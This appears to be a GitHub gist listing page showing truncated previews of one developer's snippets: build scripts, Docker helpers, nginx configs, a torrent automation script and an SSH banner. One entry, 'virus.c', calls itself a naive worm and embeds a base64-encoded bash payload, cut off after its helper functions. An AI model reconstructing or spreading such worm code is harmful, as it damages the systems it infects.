Skip to content

Instantly share code, notes, and snippets.

View fffonion's full-sized avatar

Wangchong Zhou fffonion

View GitHub Profile
@fffonion
fffonion / Readme.md
Last active May 21, 2016 05:13
openresty auto build

Run once:

# ./build-ubuntu32.sh
$ cp make_openresty.sh resty-dyn.patch /home/build/x{64,86}/

Everytime: change VERSION in build.sh

$ ./build.sh 64
$ ./build.sh 32
@fffonion
fffonion / docker_driver.sh
Created March 6, 2016 05:28
docker_driver.sh
#!/bin/bash
repo=[SITE]/[USERNAME]/[REPO]
# example: fffonion/233
# index.hahah.io/fffonion/233
# upload a file
# ./docker_driver.sh YOUR_FILE
# copy the md5
# grab a file
# ./docker_driver.sh MD5
# the file will be downloaded into current directory
@fffonion
fffonion / docker_clear_noname.sh
Last active August 20, 2018 14:38
select and remove container with no name specified
#!/bin/bash
docker rm $(docker ps -a|grep -P "(?:admiring|adoring|affectionate|agitated|amazing|angry|awesome|blissful|boring|brave|clever|cocky|compassionate|competent|condescending|confident|cranky|dazzling|determined|distracted|dreamy|eager|ecstatic|elastic|elated|elegant|eloquent|epic|fervent|festive|flamboyant|focused|friendly|frosty|gallant|gifted|goofy|gracious|happy|hardcore|heuristic|hopeful|hungry|infallible|inspiring|jolly|jovial|keen|kind|laughing|loving|lucid|mystifying|modest|musing|naughty|nervous|nifty|nostalgic|objective|optimistic|peaceful|pedantic|pensive|practical|priceless|quirky|quizzical|relaxed|reverent|romantic|sad|serene|sharp|silly|sleepy|stoic|stupefied|suspicious|tender|thirsty|trusting|unruffled|upbeat|vibrant|vigilant|vigorous|wizardly|wonderful|xenodochial|youthful|zealous|zen)_(?:albattani|allen|almeida|agnesi|archimedes|ardinghelli|aryabhata|austin|babbage|banach|bardeen|bartik|bassi|beaver|bell|benz|father of Indian nuclear programme|bhabha|bhaskara|blackwell|bohr|booth|borg
@fffonion
fffonion / nginx.conf
Created February 1, 2016 13:20
Unblock163Music-resty
upstream music163com {
least_conn;
keepalive 10;
#server 14.215.9.16:80;
#server 219.138.27.67:80;
server music.163.com:80;
}
server{
listen 80;
@fffonion
fffonion / virus.c
Created December 1, 2015 18:22
naive worm virus
#include <stdlib.h>
#include <stdio.h>
char payload[]="IyEvYmluL2Jhc2gKRD0wCkVOQz0iYmFzZTY0IC13IDAiCkRFQz0iYmFzZTY0IC1kIgoKZnVuY3Rpb24gZGJnICgpCnsKCWlmIFsgJEQgLWd0IDAgXTsgdGhlbgoJCWVjaG8gIltERUJVR10gJDI6ICIkMSAxPiYyCglmaQp9CgpmdW5jdGlvbiByYW5kb20gKCkKewoJaWYgWyAteiAiJDEiIF07IHRoZW4KCQlsZW49MTYKCWVsc2UKCQlsZW49JDEKCWZpCglfdD0kKGRkIGlmPS9kZXYvdXJhbmRvbSBvZj0vZGV2L3N0ZG91dCBicz0kbGVuIGNvdW50PTEgMj4vZGV2L251bGx8YmFzZTY0fHNlZCAicy9bXC9cK10vMC9nIikKCWVjaG8gJHtfdDowOiRsZW59Cn0KCgpmdW5jdGlvbiBnZXRfcGVybSAoKQp7CglpZiBbIC16ICIkMSIgXTsgdGhlbgoJCWRiZyAiTm8gZmlsZSBwYXRoIGdpdmVuIiAiZ2V0X3Blcm0iCgkJZWNobyAwCgllbHNlCgkJZWNobyAkKHN0YXQgLWMgIiVhIiAiJDEiIDI+JjEpCglmaQp9CgpmdW5jdGlvbiBzZXRfcGVybSgpCnsKICAgICAgICBpZiBbIC16ICIkMSIgXSB8fCBbIC16ICIkMiIgXTsgdGhlbgogICAgICAgICAgICAgICAgZGJnICJObyBmaWxlIHBhdGggb3Igbm8gcGVybSBnaXZlbiIgInNldF9wZXJtIgoJCWVjaG8gMgogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICQoY2htb2QgJDEgIiQyIiAyPi9kZXYvbnVsbCkKICAgICAgICBmaQp9CgoKZnVuY3Rpb24gZ2V0X3VnICgpCnsKICAgICAgICBpZiBbIC16ICIkMSIgXTsgdGhlbgogICAgICAgICAgI
@fffonion
fffonion / automeiju.py
Created November 30, 2015 01:34
Automatically add renren meiju magnet to deluge
import os
import re
import time
import httplib2
from deluge_client import DelugeRPCClient
base_url = 'http://--CENSORED-BY-GFW--'
headers = {
'User-Agent':'Mozilla/5.0 xxxxx',
'Accept-Language':'zh-CN,zh;q=0.8',
@fffonion
fffonion / nginx-unzip-module_good.patch
Last active November 27, 2016 06:32
nginx-unzip-module, NODIR, NOCASE mod
diff --git a/ngx_http_unzip_module.c b/ngx_http_unzip_module.c
index 771e1dc..00ea0f1 100644
--- a/nginx-unzip-module/ngx_http_unzip_module.c
+++ b/nginx-unzip-module/ngx_http_unzip_module.c
@@ -224,7 +224,7 @@ static ngx_int_t ngx_http_unzip_handler(ngx_http_request_t *r)
zip_stat_init(&zip_st);
/* let's check what's the size of a file. return 404 if we can't stat file inside archive */
- if (0 != zip_stat(zip_source, unzipextract_path, 0, &zip_st)) {
+ if (0 != zip_stat(zip_source, unzipextract_path, ZIP_FL_NODIR|ZIP_FL_NOCASE, &zip_st)) {
@fffonion
fffonion / issue.net
Last active December 20, 2018 23:26
FBI Warning SSH banner
\[033[1;37;41m FBI WARNING \[033[0m
Federal law provides severe civil and criminal penalties for
the unauthorized reproduction,distribution,or exhibition of
copyrighted motion prictures(Title 17,United States Code,
Sections 501 and 508).The federal bureau of Investigation
investigate allegations of criminal copyright infringement.
(Title 17,United States Code,Section 506)
@fffonion
fffonion / result.md
Created October 5, 2015 23:39
Reserved for CA assignment 2

(empty)

@fffonion
fffonion / Readme.MD
Last active October 5, 2015 18:45
ARM emulator